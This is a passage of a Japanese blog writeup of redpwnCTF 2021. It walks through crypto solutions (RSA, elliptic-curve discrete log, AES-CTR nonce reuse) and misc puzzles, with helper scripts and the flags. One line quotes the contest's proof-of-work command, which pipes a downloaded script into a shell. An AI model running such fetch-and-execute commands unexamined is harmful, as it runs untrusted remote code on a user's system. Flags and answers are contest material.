2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

redpwnCTF 2021 writeup

Last updated at Posted at 2021-07-14

English version: redpwnCTF 2021 writeup (English version) - Qiita

概要

redpwnCTF 2021 (2021/07/10 04:00 ~ 2021/07/13 04:00 (JST)) (CTFtime.org) に1人チームで参加した。
2170点を獲得し、正の点数を獲得した1418チーム中66位だった。

解けた問題は以下の通りである。

Challenge Category Value Time (JST)
printf-please pwn 107 2021/07/10 04:12:49
the-substitution-game misc 145 2021/07/10 05:24:00
compliant-lattice-feline misc 102 2021/07/10 05:35:13
pastebin-1 web 103 2021/07/10 05:44:25
orm-bad web 102 2021/07/10 05:49:23
secure web 104 2021/07/10 05:59:54
inspect-me web 101 2021/07/10 06:01:51
beginner-generic-pwn-number-0 pwn 105 2021/07/10 06:10:32
ret2generic-flag-reader pwn 105 2021/07/10 06:18:53
ret2the-unknown pwn 108 2021/07/10 07:43:35
scissor crypto 102 2021/07/10 07:52:00
baby crypto 102 2021/07/10 07:58:24
round-the-bases crypto 107 2021/07/10 08:07:05
wstrings rev 102 2021/07/10 09:10:02
sanity-check misc 1 2021/07/10 09:20:13
yahtzee crypto 128 2021/07/10 13:03:03
discord misc 1 2021/07/10 13:20:41
bread-making rev 108 2021/07/10 22:46:01
annaBEL-lee misc 121 2021/07/11 10:55:17
notes web 196 2021/07/11 23:02:58
blecc crypto 119 2021/07/12 19:07:50
survey misc 1 2021/07/12 20:17:12

Score over Time

解けた問題一覧の作成方法

今回の環境では、問題を解いた時間が「3 hours ago」「1 day ago」などのようなだいたいのものしか表示されない。
(ちなみに、「Powered by rCTF」となっている)
調査の結果、以下の手順で各問題を解いた正確な時刻がわかることがわかった。

  1. 問題を解いた時間を知りたいチームのProfileを開く
  2. 開発者ツールを開き、ネットワークを見る
  3. URLにあるIDかmeを探し、「応答」を見る
  4. JSONがあれば、そこに解けた問題の情報がある
  5. createdAtの値をJavaScriptのDateオブジェクトのコンストラクタに渡すと、解いた時刻が得られる

そこで、これを用いてJSONから解けた問題の一覧を作成するプログラムを用意した。

解けた問題の一覧を作成するプログラム
solved_decoder.html
<!DOCTYPE html><html><head><title>decoder</title><script>
function getDate(date) {
	const y = ("0000" + date.getFullYear()).substr(-4);
	const m = ("00" + (date.getMonth() + 1)).substr(-2);
	const d = ("00" + date.getDate()).substr(-2);
	return y + "/" + m + "/" + d;
}
function getTime(date) {
	const h = ("00" + date.getHours()).substr(-2);
	const m = ("00" + date.getMinutes()).substr(-2);
	const s = ("00" + date.getSeconds()).substr(-2);
	return h + ":" + m + ":" + s;
}
function convert() {
	const input_data = JSON.parse(document.getElementById("json_input").value);
	const solved_list = input_data.data.solves;
	let md_out = "|Challenge|Category|Value|Time|\n|---|---|--:|---|\n";
	let gp_out = "";
	let score = 0;
	for (let i = solved_list.length - 1; i >= 0; i--) {
		const time = new Date(solved_list[i].createdAt);
		const time_prev = new Date(solved_list[i].createdAt - 1000);
		const time_md = getDate(time) + " " + getTime(time);
		const time_gp = getDate(time) + "_" + getTime(time);
		const time_gp_prev = getDate(time_prev) + "_" + getTime(time_prev);
		const name = solved_list[i].name, category = solved_list[i].category, value = solved_list[i].points;
		md_out += "|" + name + "|" + category + "|" + value + "|" + time_md + "|\n";
		gp_out += time_gp_prev + "\t" + score + "\n" + time_gp + "\t" + (score + value) + "\n";
		score += value;
	}
	document.getElementById("markdown_output").value = md_out;
	document.getElementById("gnuplot_output").value = gp_out;
}
</script></head><body>
<p>Input JSON here</p>
<p><textarea id="json_input" rows="10" cols="100"></textarea></p>
<p><input type="button" value="convert" onclick="convert();"></p>
<p>Output (Markdown)</p>
<p><textarea id="markdown_output" rows="10" cols="100"></textarea></p>
<p>Output (for gnuplot)</p>
<p><textarea id="gnuplot_output" rows="10" cols="100"></textarea></p>
</body></html>

解けた問題

crypto

scissor

I was given this string and told something about scissors.

egddagzp_ftue_rxms_iuft_rxms_radymf

という問題文が与えられた。

与えられた文字列にCyberChefで ROT13 を適用し、Amountを1ずつ変えていくと、
Amount = 14 で surround_this_flag_with_flag_format という文字列が得られた。
これにflag{}を付け足すことで、flagが得られた。

flag{surround_this_flag_with_flag_format}

baby

I want to do an RSA!

という問題文と、以下のファイルが与えられた。

output.txt
n: 228430203128652625114739053365339856393
e: 65537
c: 126721104148692049427127809839057445790

Wolfram Alphaでnを素因数分解すると、12546190522253739887 * 18207136478875858439 となった。
この値を用いて、RSA暗号 - Wikipediaを参考にRSA暗号の復号を行った。

n = 228430203128652625114739053365339856393
e = 65537
c = 126721104148692049427127809839057445790

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
    if b == 0:
        return (1, 0)
    s, t = kago(b, a % b)
    return (t, s - (a // b) * t)

phi = (12546190522253739887 - 1) * (18207136478875858439 - 1)
d, _ = kago(e, phi)

res = pow(c, d, n)

print("d = " + str(d))
print("res = " + hex(res))
d = 57678303879838009672243096264323227345
res = 0x666c61677b363861623832646633347d

得られたresの値(0xは除く)にCyberChefで From Hex を適用することで、flagが得られた。

flag{68ab82df34}

round-the-bases

約8KBの文字列データが与えられた。

CyberChef以下の操作を行うことで、flagが得られた。

  1. From Base85
  2. From Base64
  3. From Hex
  4. From Hex
  5. Find / Replace (Find: [T2] (REGEX), Replace: (空文字列))
  6. Substitute (Plaintext: HI, Ciphertext: 01)
  7. From Binary
flag{w0w_th4t_w4s_4ll_wr4pp3d_up}

blecc

以下のファイルが与えれれた。

blecc.txt
p = 17459102747413984477
a = 2
b = 3
G = (15579091807671783999, 4313814846862507155)
Q = (8859996588597792495, 2628834476186361781)
d = ???
Can you help me find `d`?
Decode it as a string and wrap in flag format.

まず「"(p, a, b, G, Q)"」(引用符を含む)でググってみた。すると、
Elliptic Curve Cryptosystems
が見つかった。
ここから、これらの変数はElliptic Curveに関係していそうであることがわかった。

そこで、「Elliptic Curves writeup」でググってみた。すると、
ctf-writeups/README.md at master · diogoaj/ctf-writeups
が見つかった。
これは、Elliptic Curveの情報、Pn*Pが与えられてnを求める問題の解き方である。
ここから、今回の問題も同様にQ = d*Gとなるdを求めればいいかもしれないと考えた。

SageでのElliptic Curveの指定の仕方は、ここが参考になった。
Elliptic curve constructor — Sage 9.3 Reference Manual: Elliptic curves
さらに、ここではSageのコードをオンラインで実行できる。
Sage Cell Server

さらに「elliptic curve discrete log writeup」でググると、ここが見つかった。
Th3g3ntl3man-CTF-Writeups/ECC2.md at master · hgarrereyn/Th3g3ntl3man-CTF-Writeups
ここによれば、以下のようにすることでdを求められそうである。

  1. Elliptic Curveのorderを求め、素因数分解する
  2. orderを各素因数で割った値tを用いて、(t*Q) = d'*(t*G)となるd'をそれぞれ求める
  3. 各素因数で割るとそれぞれに対応するd'になる数を、中国剰余定理を使って求める

まず、Sageを用いて以下のようにすることで、Elliptic Curveのorderを求め、素因数分解した。

F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())

結果は

2 * 5 * 11 * 22303 * 36209 * 196539307

となった。
次に、これを用いて、Sageで以下のようにそれぞれのd'を求めた。

F = Zmod(17459102747413984477)
E = EllipticCurve(F, [2, 3])
factor(E.order())

G = E.point((15579091807671783999, 4313814846862507155))
Q = E.point((8859996588597792495, 2628834476186361781))

primes = [2, 5, 11, 22303, 36209, 196539307]
for fac in primes:
    t = int(G.order()) // int(fac)
    dlog = discrete_log(t*Q,t*G,operation="+")
    print("(" + str(dlog) + ", " + str(fac) + "),")

記事中ではtの計算に/を使っているが、エラーになったので//にした。
結果は

(1, 2),
(1, 5),
(3, 11),
(2108, 22303),
(7789, 36209),
(125193423, 196539307),

となった。
そして、これらを用いてdを求めた。

`d`を求めるプログラム
solve.py
import sys

# return (x, y) where a*x + b*y = gcd(a, b)
def kago(a, b):
	if b == 0:
		return (1, 0)
	s, t = kago(b, a % b)
	return (t, s - (a // b) * t)

# return x where x === b1 (mod m1), x === b2 (mod m2)
def chuzyo(b1, m1, b2, m2):
	p, q = kago(m1, m2)
	return (b2 * m1 * p + b1 * m2 * q) % (m1 * m2)

# l = [(b1, m1), (b2, m2), ...]
def chuzyo2(l):
	b = 0
	m = 1
	for bb, mm in l:
		b = chuzyo(b, m, bb, mm)
		m *= mm
	return b

data = [(1, 2), (1, 5), (3, 11), (2108, 22303), (7789, 36209), (125193423, 196539307)]

num = chuzyo2(data)
print(hex(num))

result = ""
while num > 0:
	result = chr(num & 0xff) + result
	num >>= 8

print(result)

結果は

0x6d316e315f336363
m1n1_3cc

となった。
最後に、得られた文字列にflag{}を付け足すことで、flagが得られた。

flag{m1n1_3cc}

yahtzee

TCPサーバの接続情報と、サーバのプログラムserver.pyが与えられた。
プログラムは、quit(大文字小文字は区別しない)でない行が入力されたら暗号文を出力することを繰り返すものだった。
暗号文は以下のように生成されていた。

  1. quotes.txtから適当な行を選び、flagを適当な位置に挿入する
  2. 乱数(1~6の整数の乱数2個の和)を用いてnonceを決定し、固定のkeyを用いてAES.MODE_CTRで暗号化する

共通鍵暗号の暗号モード CTRについて - Qiita
より、MODE_CTRはNonceとCounterを暗号化したものを平文にxorする暗号化方法であり、
すなわちnonceによって決まるデータ列を平文にxorする、と言い換えることができる。
nonceが2~12の11種類しか無く、挿入対象の候補も25種類しかないので、
大量に暗号文を取得すればきっと同じnonceと挿入対象を用いた暗号文が出てくるだろう。

Tera Termでサーバに接続すると、

proof of work: curl -sSfL https://pwn.red/pow | sh -s s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==
solution:

と出力された。
https://pwn.red/powをダウンロードしてみると、URLを構築してダウンロードするスクリプトのようだった。
これを読み取り、https://github.com/redpwn/pow/releases/download/v0.0.4/redpwnpow-windows-amd64.exe
をダウンロードすることにした。
curlでダウンロードするとリダイレクトについて書かれたHTMLデータが得られたが、
Firefoxでダウンロードしたら実行可能ファイルが得られた。
そこで、このファイルとサーバの出力の後半部分を組み合わせたコマンド

redpwnpow-windows-amd64.exe s.AAATiA==.c5JzfKLC099PHb3WLBaz1g==

を実行すると、

s.czFf1enp5OTtoFwopJ7/0uuCxdxqBoCz/vpGR6PXCbP7Q798v+uFr1EsC+LpqoLCtfCAnrhsryoW9G9F4XhH7uPDY3EIR6enn7xIRQY64wkeOaKJL7Az3lbyvt531mUtU8LDl5scbUaxk7HP20iEP6xNuCm9yYX7n5A7dmPA4HjOqh9m+OnPlpf9Op9QVrbilAxKUpARIlDP8dT5+ZtDcg==

と出力された。
この出力をサーバに送信すると、与えられたプログラムの実行が開始されるようだった。

これを踏まえ、暗号文を集める以下のプログラムを用意した。

暗号文を集めるプログラム
get-samples.pl
#!/usr/bin/perl

use strict;
use warnings;

use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"mc.ax", PeerPort=>31076, Proto=>"tcp");

die "socket error $!" unless $sock;

my $q = <$sock>;
unless ($q =~ /sh -s (.*)$/) { die "?\n"; }
open(PROC, "redpwnpow-windows-amd64.exe $1 |") or die "proc error\n";
my $res = <PROC>;
close(PROC);

print $sock $res;
print $sock "y\n";

for (my $i = 0; $i < 1000; $i++) {
	for (;;) {
		my $res = <$sock>;
		unless ($res) { last; }
		if ($res =~ /Ciphertext: (.*)$/) {
			print "$1\n";
			print $sock "y\n";
		}
	}
}

close($sock);

暗号文をとりあえず1000個取得するようにしたが、638個しか得られなかった。
得られた暗号文をソートして重複を除くと、例えば

0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b84bc0c7378ea98d9d4f1842ec37bb760ffe09930c01bbdb70e86851724ecd46b59ca96ad7f56318d1b62349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86b50e7d67bfd0f2ece5d336fd68a435e58cbd5b9f20bdf00897851427cac704629c9bb0690361800962349dd4
0ca3e4a55e9681899317b8dc0aefa7b253e2a8c5039a03ace86cbc9429cb4b77c4d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4

という部分があった。
これらの暗号文は最初の部分が同じなので、同じ挿入対象を同じnonceで暗号化していると考えられる。
詳しく見ると、これらの暗号文のうち2個で

c4575d4568e46acbc3305f869f2adcc4a71f9a02c0a053f16873ff5b86

1個で

d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90

となっている部分があった。
2個ある方がもともとの挿入対象を、1個の方がflagを暗号化したものであると考えられる。
これらの暗号文は、それぞれの平文と同じ鍵データxorをしたもののはずなので、
これらの暗号文のxorをとれば、鍵データが打ち消されて平文同士のxorが得られるはずである。
さらに、flagの先頭部分はflag{のはずなので、
これを正しい位置にxorすることでもう一個の平文が得られるはずである。
実際に試してみると、この部分の先頭にflag{をxorするともう一個の平文がto beとなり、妥当に思えた。

得られた鍵データのb0 38 7d 27 0dを他の暗号文の同じ位置とxorしていくと、

0ca3e4a5408d8883c70eb2c059e9bafc5eadaa8d0dc80fffac6ea0892ec20e7588d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148

という暗号文からag{0hという結果が得られた。
これはflagの一部であり、最初のflagから2文字ずれているようである。
これを利用すると、以下の手順でflag全体を求めることができそうだ。

  1. 新しく得られたflagの2文字を、flag{で始まる部分の暗号文の対応する位置にxorし、その部分の鍵を求める
  2. 求めた鍵をag{0hで始まる部分の暗号文の対応する位置にxorし、その部分のflagを求める
  3. 1と2を繰り返す

実際に、以下のプログラムでflagを求めることができた。

flagを求めるプログラム
solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my $data1 = "d15f061765d8529297646981d73bc692f430913fecfc53a5632cfa029df91b753ce3ddd99bbc87798275b823b7c8a66bd10691e3018c9e4a3093ce4b268a8cb67d462c9148";
my $data2 = "d6541c4076b76df9f1240781e02adcc4f55c8c2fdd8062e27f68f84b90a0123a68e098cfdeb28d2fc73ca523b7cba661d11f87b1158c99042edccf04629c9bb0690361800962349dd4";

my $d1len = length($data1);
my $d2len = length($data2);

my $decoded = "fl";

for (my $i = 0; $i * 2 + 4 <= $d1len && $i * 2 + 4 <= $d2len; $i += 2) {
	my $c1 = ord(substr($decoded, length($decoded) - 2, 1));
	my $c2 = ord(substr($decoded, length($decoded) - 1, 1));
	my $k1 = hex(substr($data2, $i * 2, 2)) ^ $c1;
	my $k2 = hex(substr($data2, $i * 2 + 2, 2)) ^ $c2;
	my $p1 = hex(substr($data1, $i * 2, 2)) ^ $k1;
	my $p2 = hex(substr($data1, $i * 2 + 2, 2)) ^ $k2;
	$decoded .= chr($p1) . chr($p2);
}

print "$decoded\n";
flag{0h_W41t_ther3s_nO_3ntr0py}

misc

sanity-check

以下の問題文が与えられた。

I get to write the sanity check challenge! Alright!

flag{1_l0v3_54n17y_ch3ck_ch4ll5}

問題文にflagが書かれていた。

flag{1_l0v3_54n17y_ch3ck_ch4ll5}

discord

以下の問題文が与えられた。

Join the discord! I hear #rules is an incredibly engaging read.

問題文の「discord」の部分はリンクになっており、アクセスするとDiscordの招待ページにリダイレクトされた。
サーバに参加し、誘導通り#rulesチャンネルを見ると、ページ上部にflagが書かれていた。
この部分をクリックすると、flagがコピーできる形で表示された。

flag{chall3n63_au7h0r5h1p_1nfl4710n}

survey

Googleフォームのページへのリンクが与えられた。
これは3ページからなるアンケートだった。
アンケートに回答して送信すると、リンクが表示された。
そのリンクにアクセスすると、flagが表示された。

flag{thank5_f0r_play1ng_r3dpwnctf_2021!_zc9e848yg2gdhwxz}

compliant-lattice-feline

以下の問題文が与えられた。

get a flag!

nc mc.ax 31443

Tera Termを起動し、「新しい接続」ダイアログで

  • TCP/IP
  • ホスト: mc.ax
  • サービス: その他
  • TCPポート#: 31443

に設定し、OKボタンを押して接続すると、flagが表示された。

flag{n3tc4t_1s_a_pip3_t0_the_w0rld}

annaBEL-lee

TCPサーバの接続情報が与えられた。

Tera Termで接続してみたが、何も起こらない様子だった。
TCP/IPテストツールで接続すると、
0x00のバイトと0x07のバイトからなるデータがゆっくり送られてきた後、通信が切断された。
数回接続してみたところ、データの区切りは変わったが、データの内容は最初を除いて同じようだった。

0x00のバイトを0、0x07のバイトを7で表現し、区切りを消して観察していると、
最初を除いて07が1個か3個ずつ連続していることに気がついた。
さらに、問題文に追加された

  • 音を出すと役立つ可能性がある
  • 遅くするといい考えに至りやすくなる

というヒントから、モールス信号の可能性を思いついた。
CyberChefには、From Morse Code という機能がある。
0を音が鳴っていない部分、7を鳴っている部分として、
前処理・From Morse Code・後処理をすることで、flagが得られた。

flag{d1ng-d0n9-g0es-th3-anna-b3l}

the-substitution-game

TCPサーバの接続情報と、サーバのプログラムchall.pyが与えられた。

Tera Termでサーバに接続すると、
入力の文字列を期待する出力文字列にするような置換規則を入力させるゲームが始まった。
現在の文字列に適用できる最初の置換規則を適用し、適用できる置換規則が無くなったら止まる。
停止規則が無いMarkov Algorithm Onlineのような感じだ。
6個のlevelを解くことで、flagが得られた。

シミュレータ

サーバでは不正解の時は出力文字列が表示されるが、失敗した原因がわかりにくい。
そこで、置換結果を1ステップごとに出力するシミュレータを作成した。

シミュレータ
sim.html
<!DOCTYPE html>
<html>
<head><title>sim</title>
<script>
function run() {
	const rules1 = document.getElementById("rules").value.replaceAll("\r\n", "\n").replaceAll("\r", "\n").split("\n");
	const rules = [];
	for (let i = 0; i < rules1.length; i++) {
		const arr = rules1[i].split(" => ");
		if (arr.length == 2) rules.push(arr);
	}
	let text = document.getElementById("text").value;
	let res = text + "\n";
	for (let i = 0; i < 10000; i++) {
		let found = false;
		for (let j = 0; j < rules.length; j++) {
			if (text.indexOf(rules[j][0]) >= 0) {
				text = text.replace(rules[j][0], rules[j][1]);
				found = true;
				break;
			}
		}
		if (found) {
			res += text + "\n";
		} else {
			break;
		}
	}
	document.getElementById("result").value = res;
}
</script>
</head>
<body>
<p>text:
<input id="text" value="" size="100"><br>
rules:<br>
<textarea id="rules" rows="10" cols="100"></textarea><br>
<input type="button" onclick="run();" value="run"><br>
result:<br>
<textarea id="result" rows="10" cols="100"></textarea>
</p>
</body></html>

Level 1

問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: 000000000000000initial0000000000
Target string: 000000000000000target0000000000

Initial string: 0000initial000000
Target string: 0000target000000

Initial string: 000000000000initial00000000000000000000
Target string: 000000000000target00000000000000000000

Initial string: 000000000initial
Target string: 000000000target

Initial string: 00000000initial0000000
Target string: 00000000target0000000

Initial string: 00000000000000000initial000000
Target string: 00000000000000000target000000

Initial string: 0000000000000000000initial00000
Target string: 0000000000000000000target00000

Initial string: 0000000000000initial000
Target string: 0000000000000target000

Initial string: 0000initial0000000000000000
Target string: 0000target0000000000000000

Initial string: 000000initial0
Target string: 000000target0
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 5 max:

入力に含まれるinitialtargetに置換すればよい。

initial => target

Level 2

問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: ginkoidginkoidhellohellohelloginkoidhellohellohellohelloginkoidginkoidginkoidhelloginkoidginkoidginkoidginkoidginkoid
Target string: ginkyginkygoodbyegoodbyegoodbyeginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyeginkyginkyginkyginkyginky

Initial string: ginkoidginkoidhelloginkoidginkoidginkoidginkoidhelloginkoidhelloginkoidhello
Target string: ginkyginkygoodbyeginkyginkyginkyginkygoodbyeginkygoodbyeginkygoodbye

Initial string: helloginkoidhellohellohelloginkoidginkoidhellohelloginkoidhelloginkoidhelloginkoidginkoidginkoidginkoidhello
Target string: goodbyeginkygoodbyegoodbyegoodbyeginkyginkygoodbyegoodbyeginkygoodbyeginkygoodbyeginkyginkyginkyginkygoodbye

Initial string: helloginkoidhelloginkoidginkoidginkoidhelloginkoidhellohellohellohellohelloginkoidginkoidhello
Target string: goodbyeginkygoodbyeginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyegoodbyegoodbyeginkyginkygoodbye

Initial string: helloginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoidhelloginkoidhellohellohelloginkoidhelloginkoid
Target string: goodbyeginkyginkygoodbyegoodbyeginkyginkyginkyginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkygoodbyeginky

Initial string: hellohelloginkoidginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidhelloginkoidhellohello
Target string: goodbyegoodbyeginkyginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbye

Initial string: hellohelloginkoidginkoidginkoidhellohelloginkoidhelloginkoidginkoidginkoidginkoidginkoidginkoidginkoid
Target string: goodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkygoodbyeginkyginkyginkyginkyginkyginkyginky

Initial string: helloginkoidginkoidhellohellohellohelloginkoidginkoidginkoidhellohelloginkoidginkoidginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyegoodbyegoodbyegoodbyeginkyginkyginkygoodbyegoodbyeginkyginkyginkyginkyginky

Initial string: hellohellohellohellohelloginkoidhelloginkoidhelloginkoidhelloginkoidhelloginkoidginkoidginkoidhello
Target string: goodbyegoodbyegoodbyegoodbyegoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkygoodbyeginkyginkyginkygoodbye

Initial string: helloginkoidginkoidhelloginkoidginkoidhelloginkoidhelloginkoidginkoidhelloginkoidhellohellohelloginkoidginkoidginkoid
Target string: goodbyeginkyginkygoodbyeginkyginkygoodbyeginkygoodbyeginkyginkygoodbyeginkygoodbyegoodbyegoodbyeginkyginkyginky
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:

入力に含まれるhellogoodbyeに、ginkoidginkyに置換すればよい。

hello => goodbye
ginkoid => ginky

Level 3

問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a

Initial string: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Target string: a
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:

aが何個か入力されるので、1個のaに変換すればいいようである。
aが2個あったら1個にする、という処理を繰り返せばよい。

aa => a

Level 4

問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: ggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid

Initial string: gggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg
Target string: ginkoid
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 10 max:

gが何個か入力されるので、1個のginkoidに変換すればいいようである。
gをそのまま置換しようとしてしまうと、ginkoidにもgが含まれるので失敗する。
そこで、ginkoidに含まれない適当な文字(ここではx)を経由する。
まず、gではなくggxに置換する。
次に、複数個あるxを1個にまとめ、ginkoidに置換する。
最後に、文字列の最後にgが残っていたら消す。

gg => x
xx => x
x => ginkoid
idg => id

置換規則をサーバに入力する際は、規則の後に1個ずつy(規則はまだある)かn(規則は以上)を入力しないといけない。
大量の規則を1個ずつ入力するのは手間がかかるので、テキストエディタやCyberChefの置換機能などで
事前に各行の間にyを挟み、まとめて貼り付けをすると良い。

Level 5

問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: ^0101110110111010101010101100100000011110101000111110001010111100000010011010101010101110110111010$
Target string: palindrome

Initial string: ^000100000100110001110011000111011110101101011110111000110011100011001000001000$
Target string: palindrome

Initial string: ^1100001011110101110111000111110101111010111110001110111010111101000011$
Target string: palindrome

Initial string: ^1111010101010001011100101010001011110101111100101011001000010111011100011110001010011101$
Target string: not_palindrome

Initial string: ^1100001111010011011010101101011111110100100001011010010110100001010110101$
Target string: not_palindrome

Initial string: ^1111101000110001001001011011011110010111110100111101101101001001000110001011111$
Target string: palindrome

Initial string: ^1011001101111000110110100011101101000110110100000001010000010001111000001010001$
Target string: not_palindrome

Initial string: ^11010001001100010111011010111001111111000011000000000011000011111110011101011011101000110010001011$
Target string: palindrome

Initial string: ^1000010101011110110001001111101100010111000011010100111001011000010$
Target string: not_palindrome

Initial string: ^0011000011010111100011110000110100011001111011101111001100010110000111100011110101100001100$
Target string: palindrome
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 100 max:

0/1の文字列が回文かどうかを判定することを求められているようである。

「チューリングマシン 回文」でググッた結果、
Turing 機械のプログラミング
が出てきたので、ここのプログラムをパクることにした。
幸い、問題の文字列にはこのサイトで扱うテープと同様に、最初と最後に特別なマークが入っている。

チューリングマシンの記述を、以下のように置換規則で表現した。

  • チューリングマシンのヘッドの位置を[状態]で表現する
  • 最初に、先頭のマークを、[開始状態]別の先頭マークに置換する
  • ヘッドを動かさない規則は、[状態]記号 => [次の状態]書き込む記号で表現する
  • ヘッドを右に動かす規則は、[状態]記号 => 書き込む記号[次の状態]で表現する
  • ヘッドを左に動かす規則は、各文字[状態]記号 => [次の状態]各文字 書き込む記号で表現する

最後に、acceptかrejectになったら、求められる文字列に置換して前後の余計な文字を消去するようにした。

解答の置換規則 (46行)
^ => [start]#
[start]# => #[l2]
[l2]0 => #[l20]
[l2]1 => #[l21]
[l2]$ => [a]$
[l20]0 => 0[l20]
[l20]1 => 1[l20]
0[l20]$ => [l30]0$
1[l20]$ => [l30]1$
#[l20]$ => [l30]#$
0[l30]0 => [l4]0$
1[l30]0 => [l4]1$
#[l30]0 => [l4]#$
[l30]1 => [r]1
[l30]# => [a]#
0[l4]0 => [l4]00
1[l4]0 => [l4]10
#[l4]0 => [l4]#0
0[l4]1 => [l4]01
1[l4]1 => [l4]11
#[l4]1 => [l4]#1
[l4]# => #[l2]
[l21]0 => 0[l21]
[l21]1 => 1[l21]
0[l21]$ => [l31]0$
1[l21]$ => [l31]1$
#[l21]$ => [l31]#$
[l31]0 => [r]0
0[l31]1 => [l4]0$
1[l31]1 => [l4]1$
#[l31]1 => [l4]#$
[l31]# => [a]#
[a] => palindrome
[r] => not_palindrome
e0 => e
e1 => e
e# => e
e$ => e
0n => n
1n => n
#n => n
$n => n
0p => p
1p => p
#p => p
$p => p

Level 6

問題の情報
--------------------------------------------------------------------------------
Here is this level's intended behavior:

Initial string: ^10111111+110001=100100101$
Target string: incorrect

Initial string: ^111000+10011=10100101$
Target string: incorrect

Initial string: ^1101000+11111110=101100110$
Target string: correct

Initial string: ^0+1101001=1101001$
Target string: correct

Initial string: ^100010000011+11000110=101001001$
Target string: incorrect

Initial string: ^10101011+1010111=110001$
Target string: incorrect

Initial string: ^11111011+11011101=10001100110$
Target string: incorrect

Initial string: ^10001010+1101111=101$
Target string: incorrect

Initial string: ^1011001001+11111101=111000110$
Target string: incorrect

Initial string: ^10111000+100100=11011100$
Target string: correct
--------------------------------------------------------------------------------
Enter substitution of form "find => replace", 300 max:

2進数の足し算の式が与えられ、正誤を判定することを求められるようである。
今回実装した処理は、大きく以下の3個のパートからなる。

  1. 前処理 (入力された数のゼロサプレスと区切りの追加)
  2. 足し算
  3. 結果の比較

ヘッドで状態を監理しつつデータを右に送るというチューリングマシンでの手法を活かしつつ、
ヘッドを左に戻さなくていいなどチューリングマシンではなく文字列の置換であることを考えた実装を行った。

解答の置換規則 (50行)
= => :-
^00 => ^0
+00 => +0
-00 => -0
^01 => ^1
+01 => +1
-01 => -1
0o:C => :C0
1o:C => :C1
0z:C => :1
1z:C => :C0
0o: => :1
1o: => :C0
0z: => :0
1z: => :1
o1 => 1o
o0 => 0o
z1 => 1z
z0 => 0z
^+:C => ^1
^+: => ^
+z:C => +:1
+z: => +:0
+o:C => +:C0
+o: => +:1
1+ => +o
0+ => +z
^+ => ^+z
